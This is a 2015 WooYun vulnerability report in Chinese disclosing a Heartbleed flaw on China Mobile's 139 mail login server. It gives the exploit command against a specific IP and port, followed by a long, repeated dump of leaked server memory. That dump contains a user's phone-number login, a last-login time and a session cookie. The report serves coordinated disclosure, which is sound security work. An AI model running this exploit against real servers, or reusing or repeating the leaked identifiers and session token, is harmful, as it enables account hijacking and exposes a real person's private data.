漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-090805
漏洞标题：中国移动139邮箱登录认证服务器存在心脏流血漏洞
相关厂商：中国移动
漏洞作者： 猪猪侠
提交时间：2015-01-09 14:55
修复时间：2015-02-23 14:56
公开时间：2015-02-23 14:56
漏洞类型：重要敏感信息泄露
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-01-09： 细节已通知厂商并且等待厂商处理中
2015-01-14： 厂商已经确认，细节仅向厂商公开
2015-01-24： 细节向核心白帽子及相关领域专家公开
2015-02-03： 细节向普通白帽子公开
2015-02-13： 细节向实习白帽子公开
2015-02-23： 细节向公众公开
简要描述：
中国移动139邮箱登录认证服务器存在心脏流血漏洞，一堆用户认证信息，非常严重
详细说明：
现在点开 mail.139.com 都是直接跳转到 mail.10086.cn ，说明10086.cn已经成为了移动主推域名。
python openssl.py 221.176.9.149 443 心脏流血
漏洞证明：
<code>@....SC[...r....+..H...9........w.3....f.....\".!.9.8.........5.............................3.2.....E.D...../...A.................................I...........4.2...................................................#.......^....5..k7............,O.....B......r..-h......L.[.(m..U.Yj...$.y......yF.H'c3.../.......d:.]2....y.K.FO..@.$.KV...e................e/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*....|'..60.....Gg......p.........!...............gStyle=\"http://schemas.xmlsoap.org/soap/encoding/\". xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\". xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\". xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\". xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"><soapenv:Body><m:get_alienvault_status xmlns:m=\"AV/CC/Util\"></m:get_alienvault_status></soapenv:Body>. </soapenv:Envelope>l.?.f.o.'C..2.2...........eItem%3A%270015%27%2Cregex%3A%27%5E8613%5B0-9%5D%7B9%7D%24%7C%5E8615%5B0-9%5D%7B9%7D%24%7C%5E86178%5B0-9%5D%7B8%7D%24%7C%5E8618%5B0-9%5D%7B9%7D%24%7C%5E8614%5B57%5D%5B0-9%5D%7B8%7D%24%7C%5E868%5B0-9%5D%7B10%7D%24%7C%5E8617%5B07%5D%5B0-9%5D%7B8%7D%24%27%2ClastLoginDate%3A%272014-12-12+12%3A57%3A57%27%2CuserNumber%3A%278613971230346%27%2Cloginname%3A%2713971230346%27%2C%22out_qanotify%22%3Afalse%7D; JSESSIONID=325DA965FA3C30FB596CCAF079150F06.... wy.<.....y..!..H;{[email protected].......`..T.d......tout_qanotify%22%3Afalse%7D..Host: login.mail.10086.cn..Connection: Keep-Alive..Accept-Language: zh-cn..........!.<.*...XB.cSo......&j>D|:#.\\w6s..q.R..',.Bq?x......8.Y......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.......................Y........K.v....................Y.............M.........0.................................$..0................I......... .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.....................M.........0.................................$..0................I......... .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.................FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB..................]........./.......................Y.............8.Y...............Y...............[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB..................5........./.....................8.Y.............U...............[...............\"...............1...............Q...............b................D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............2+........0......................+..........$..0................),........ .*..).................D^......~......................2+..............8+...............+...............,..............),..............:,...............D^..............W^.............2+..............8+...............+...............,..............),..............:,...............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.............2+..............8+...............+...............,..............),..............:,...............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.....Y.(.......................Y.......8.......................Y.............8.Y...............Y.............8.Y...............Y.............8.Y..............[...............[...............[...............[..............I.Y.............2+........0......................+..........$..0................),........ .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.....................2+........0......................+..........$..0................),........ .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.................FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB............................/......................[..........$..0................I.Y...............[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB....................y......./.....................8.Y.............................................R...............a................................................D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y...............y.......0.......................y.........$..0..................y....... .*..).................D^......~........................y...............y...............y...............y...............y...............y..............D^..............W^...............y...............y...............y...............y...............y...............y..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............y...............y...............y...............y...............y...............y..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.....Y.(.......................Y.......8......................n..........$..0................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y...............y.......0.......................y.........$..0..................y....... .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................y.......0.......................y.........$..0..................y....... .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.................FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB............................/.......................Y.............8.Y...............Y.............Z.y.....a{..N^..................2.y....... .*..)................I.Y.......0......................D^......~......................Z.y.............e.y.............2.y.............C.y.............I.Y.............r.Z..............D^..............W^.............Z.y.............e.y.............2.y.............C.y.............I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.............Z.y.............e.y.............2.y.............C.y.............I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y........K.v....................Y.............Z.y.....a{..N^..................2.y....... .*..)................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.....................Z.y.....a{..N^..................2.y....... .*..)................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8..............~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.......................Y.............8.Y...............Y.............r.z.....a{..N^..................J.z....... .*..)................I.Y.......0......................D^......~......................r.z.............}.z.............J.z.............[.z.............I.Y.............r.Z..............D^..............W^.............r.z.............}.z.............J.z.............[.z.............I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.............r.z.............}.z.............J.z.............[.z.............I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.........FB............................/.................................$..0................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y.............r.z.....a{..N^..................J.z....... .*..)................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.....................r.z.....a{..N^..................J.z....... .*..)................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.....................8.Y..............~...............~...............................................................................D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............k$~.......8.....................B%~......~......................i%~.....a{..N^...................%~....... .*..)................k$~.............t$~.............B%~.............N%~.............i%~.............t%~..............%~..............%~.............k$~.............t$~.............B%~.............N%~.............i%~.............t%~..............%~..............%~.............I.Y.............r.Z...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y.............k$~.............t$~.............B%~.............N%~.............i%~.............t%~..............%~..............%~.............I.Y.............r.Z...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.....Y.(.......................Y.......8.................................$..0................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y.............k$~.......8.....................B%~......~......................i%~.....a{..N^...................%~....... .*..)................I.Y.......0.......................Y......&{.=.....................Y........K.v....................Y......`...]..................k$~.......8.....................B%~......~......................i%~.....a{..N^...................%~....... .*..)................I.Y.......0.......................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.............l&...6..................\".[...............................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB....................Y...............[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB..................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v..................I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y.............I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.........FB....................Y.............I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.................FB............C.......................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB...................W~......./...................?...................Y.........FB..................................................I.Y.............r.Z..............D^..............W^...............Y.........FB....................Y......ET.......................Y..............T~.......0......................U~.........$..0.................U~....... .*..).................D^......~.......................T~..............T~..............U~..............U~..............U~..............U~..............D^..............W^..............T~..............T~..............U~..............U~..............U~..............U~..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y..............T~.......0......................U~.........$..0.................U~....... .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................[.............................U.\\.....C/......................l.Z......)........................Y.........FB..........l&...6....................Y...........?...................Y.........FB..................O.C.............\[email protected][...r....+..H...9........w.3....f.....\".!.9.8.........5.............................3.2.....E.D...../...A.................................I...........4.2...................................................#.......^....5..k7............,O.....B......r..-h......L.[.(m..U.Yj...$.y......yF.H'c3.../.......d:.]2....y.K.FO..@.$.KV...e................e/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*....|'..60.....Gg......p.........!...............gStyle=\"http://schemas.xmlsoap.org/soap/encoding/\". xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\". xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\". xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\". xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"><soapenv:Body><m:get_alienvault_status xmlns:m=\"AV/CC/Util\"></m:get_alienvault_status></soapenv:Body>. </soapenv:Envelope>l.?.f.o.'C..2.2...........eItem%3A%270015%27%2Cregex%3A%27%5E8613%5B0-9%5D%7B9%7D%24%7C%5E8615%5B0-9%5D%7B9%7D%24%7C%5E86178%5B0-9%5D%7B8%7D%24%7C%5E8618%5B0-9%5D%7B9%7D%24%7C%5E8614%5B57%5D%5B0-9%5D%7B8%7D%24%7C%5E868%5B0-9%5D%7B10%7D%24%7C%5E8617%5B07%5D%5B0-9%5D%7B8%7D%24%27%2ClastLoginDate%3A%272014-12-12+12%3A57%3A57%27%2CuserNumber%3A%278613971230346%27%2Cloginname%3A%2713971230346%27%2C%22out_qanotify%22%3Afalse%7D; JSESSIONID=325DA965FA3C30FB596CCAF079150F06.... wy.<.....y..!..H;{[email protected].......`..T.d......tout_qanotify%22%3Afalse%7D..Host: login.mail.10086.cn..Connection: Keep-Alive..Accept-Language: zh-cn..........!.<.*...XB.cSo......&j>D|:#.\\w6s..q.R..',.Bq?x......8.Y......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.......................Y........K.v....................Y.............M.........0.................................$..0................I......... .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.....................M.........0.................................$..0................I......... .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.................FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB..................]........./.......................Y.............8.Y...............Y...............[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB..................5........./.....................8.Y.............U...............[...............\"...............1...............Q...............b................D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............2+........0......................+..........$..0................),........ .*..).................D^......~......................2+..............8+...............+...............,..............),..............:,...............D^..............W^.............2+..............8+...............+...............,..............),..............:,...............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.............2+..............8+...............+...............,..............),..............:,...............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.....Y.(.......................Y.......8.......................Y.............8.Y...............Y.............8.Y...............Y.............8.Y..............[...............[...............[...............[..............I.Y.............2+........0......................+..........$..0................),........ .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.....................2+........0......................+..........$..0................),........ .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.................FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB............................/......................[..........$..0................I.Y...............[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB....................y......./.....................8.Y.............................................R...............a................................................D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y...............y.......0.......................y.........$..0..................y....... .*..).................D^......~........................y...............y...............y...............y...............y...............y..............D^..............W^...............y...............y...............y...............y...............y...............y..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............y...............y...............y...............y...............y...............y..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.....Y.(.......................Y.......8......................n..........$..0................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y...............y.......0.......................y.........$..0..................y....... .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................y.......0.......................y.........$..0..................y....... .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.................FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB............................/.......................Y.............8.Y...............Y.............Z.y.....a{..N^..................2.y....... .*..)................I.Y.......0......................D^......~......................Z.y.............e.y.............2.y.............C.y.............I.Y.............r.Z..............D^..............W^.............Z.y.............e.y.............2.y.............C.y.............I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.............Z.y.............e.y.............2.y.............C.y.............I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y........K.v....................Y.............Z.y.....a{..N^..................2.y....... .*..)................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.....................Z.y.....a{..N^..................2.y....... .*..)................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8..............~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.......................Y.............8.Y...............Y.............r.z.....a{..N^..................J.z....... .*..)................I.Y.......0......................D^......~......................r.z.............}.z.............J.z.............[.z.............I.Y.............r.Z..............D^..............W^.............r.z.............}.z.............J.z.............[.z.............I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.............r.z.............}.z.............J.z.............[.z.............I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.........FB............................/.................................$..0................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y.............r.z.....a{..N^..................J.z....... .*..)................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.....................r.z.....a{..N^..................J.z....... .*..)................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.....................8.Y..............~...............~...............................................................................D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............k$~.......8.....................B%~......~......................i%~.....a{..N^...................%~....... .*..)................k$~.............t$~.............B%~.............N%~.............i%~.............t%~..............%~..............%~.............k$~.............t$~.............B%~.............N%~.............i%~.............t%~..............%~..............%~.............I.Y.............r.Z...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y.............k$~.............t$~.............B%~.............N%~.............i%~.............t%~..............%~..............%~.............I.Y.............r.Z...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.....Y.(.......................Y.......8.................................$..0................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y.............k$~.......8.....................B%~......~......................i%~.....a{..N^...................%~....... .*..)................I.Y.......0.......................Y......&{.=.....................Y........K.v....................Y......`...]..................k$~.......8.....................B%~......~......................i%~.....a{..N^...................%~....... .*..)................I.Y.......0.......................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.............l&...6..................\".[...............................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB....................Y...............[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB..................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v..................I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y.............I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.........FB....................Y.............I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.................FB............C.......................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB...................W~......./...................?...................Y.........FB..................................................I.Y.............r.Z..............D^..............W^...............Y.........FB....................Y......ET.......................Y..............T~.......0......................U~.........$..0.................U~....... .*..).................D^......~.......................T~..............T~..............U~..............U~..............U~..............U~..............D^..............W^..............T~..............T~..............U~..............U~..............U~..............U~..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y..............T~.......0......................U~.........$..0.................U~....... .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................[.............................U.\\.....C/......................l.Z......)........................Y.........FB..........l&...6....................Y...........?...................Y.........FB..................O.C.............\[email protected][...r....+..H...9........w.3....f.....\".!.9.8.........5.............................3.2.....E.D...../...A.................................I...........4.2...................................................#.......^....5..k7............,O.....B......r..-h......L.[.(m..U.Yj...$.y......yF.H'c3.../.......d:.]2....y.K.FO..@.$.KV...e................e/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*....|'..60.....Gg......p.........!...............gStyle=\"http://schemas.xmlsoap.org/soap/encoding/\". xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\". xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\". xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\". xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"><soapenv:Body><m:get_alienvault_status xmlns:m=\"AV/CC/Util\"></m:get_alienvault_status></soapenv:Body>. </soapenv:Envelope>l.?.f.o.'C..2.2...........eItem%3A%270015%27%2Cregex%3A%27%5E8613%5B0-9%5D%7B9%7D%24%7C%5E8615%5B0-9%5D%7B9%7D%24%7C%5E86178%5B0-9%5D%7B8%7D%24%7C%5E8618%5B0-9%5D%7B9%7D%24%7C%5E8614%5B57%5D%5B0-9%5D%7B8%7D%24%7C%5E868%5B0-9%5D%7B10%7D%24%7C%5E8617%5B07%5D%5B0-9%5D%7B8%7D%24%27%2ClastLoginDate%3A%272014-12-12+12%3A57%3A57%27%2CuserNumber%3A%278613971230346%27%2Cloginname%3A%2713971230346%27%2C%22out_qanotify%22%3Afalse%7D; JSESSIONID=325DA965FA3C30FB596CCAF079150F06.... wy.<.....y..!..H;{[email protected].......`..T.d......tout_qanotify%22%3Afalse%7D..Host: login.mail.10086.cn..Connection: Keep-Alive..Accept-Language: zh-cn..........!.<.*...XB.cSo......&j>D|:#.\\w6s..q.R..',.Bq?x......8.Y......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.......................Y........K.v....................Y.............M.........0.................................$..0................I......... .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.....................M.........0.................................$..0................I......... .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.................FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB..................]........./.......................Y.............8.Y...............Y...............[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB..................5........./.....................8.Y.............U...............[...............\"...............1...............Q...............b................D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............2+........0......................+..........$..0................),........ .*..).................D^......~......................2+..............8+...............+...............,..............),..............:,...............D^..............W^.............2+..............8+...............+...............,..............),..............:,...............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.............2+..............8+...............+...............,..............),..............:,...............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.....Y.(.......................Y.......8.......................Y.............8.Y...............Y.............8.Y...............Y.............8.Y..............[...............[...............[...............[..............I.Y.............2+........0......................+..........$..0................),........ .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.....................2+........0......................+..........$..0................),........ .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.................FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB............................/......................[..........$..0................I.Y...............[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB....................y......./.....................8.Y.............................................R...............a................................................D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y...............y.......0.......................y.........$..0..................y....... .*..).................D^......~........................y...............y...............y...............y...............y...............y..............D^..............W^...............y...............y...............y...............y...............y...............y..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............y...............y...............y...............y...............y...............y..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.....Y.(.......................Y.......8......................n..........$..0................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y...............y.......0.......................y.........$..0..................y....... .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................y.......0.......................y.........$..0..................y....... .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.................FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB............................/.......................Y.............8.Y...............Y.............Z.y.....a{..N^..................2.y....... .*..)................I.Y.......0......................D^......~......................Z.y.............e.y.............2.y.............C.y.............I.Y.............r.Z..............D^..............W^.............Z.y.............e.y.............2.y.............C.y.............I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.............Z.y.............e.y.............2.y.............C.y.............I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y........K.v....................Y.............Z.y.....a{..N^..................2.y....... .*..)................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.....................Z.y.....a{..N^..................2.y....... .*..)................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8..............~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.......................Y.............8.Y...............Y.............r.z.....a{..N^..................J.z....... .*..)................I.Y.......0......................D^......~......................r.z.............}.z.............J.z.............[.z.............I.Y.............r.Z..............D^..............W^.............r.z.............}.z.............J.z.............[.z.............I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.............r.z.............}.z.............J.z.............[.z.............I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.........FB............................/.................................$..0................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y.............r.z.....a{..N^..................J.z....... .*..)................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.....................r.z.....a{..N^..................J.z....... .*..)................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.....................8.Y..............~...............~...............................................................................D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............k$~.......8.....................B%~......~......................i%~.....a{..N^...................%~....... .*..)................k$~.............t$~.............B%~.............N%~.............i%~.............t%~..............%~..............%~.............k$~.............t$~.............B%~.............N%~.............i%~.............t%~..............%~..............%~.............I.Y.............r.Z...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y.............k$~.............t$~.............B%~.............N%~.............i%~.............t%~..............%~..............%~.............I.Y.............r.Z...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.....Y.(.......................Y.......8.................................$..0................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y.............k$~.......8.....................B%~......~......................i%~.....a{..N^...................%~....... .*..)................I.Y.......0.......................Y......&{.=.....................Y........K.v....................Y......`...]..................k$~.......8.....................B%~......~......................i%~.....a{..N^...................%~....... .*..)................I.Y.......0.......................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.............l&...6..................\".[...............................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB....................Y...............[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB..................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v..................I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y.............I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.........FB....................Y.............I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.................FB............C.......................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB...................W~......./...................?...................Y.........FB..................................................I.Y.............r.Z..............D^..............W^...............Y.........FB....................Y......ET.......................Y..............T~.......0......................U~.........$..0.................U~....... .*..).................D^......~.......................T~..............T~..............U~..............U~..............U~..............U~..............D^..............W^..............T~..............T~..............U~..............U~..............U~..............U~..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y..............T~.......0......................U~.........$..0.................U~....... 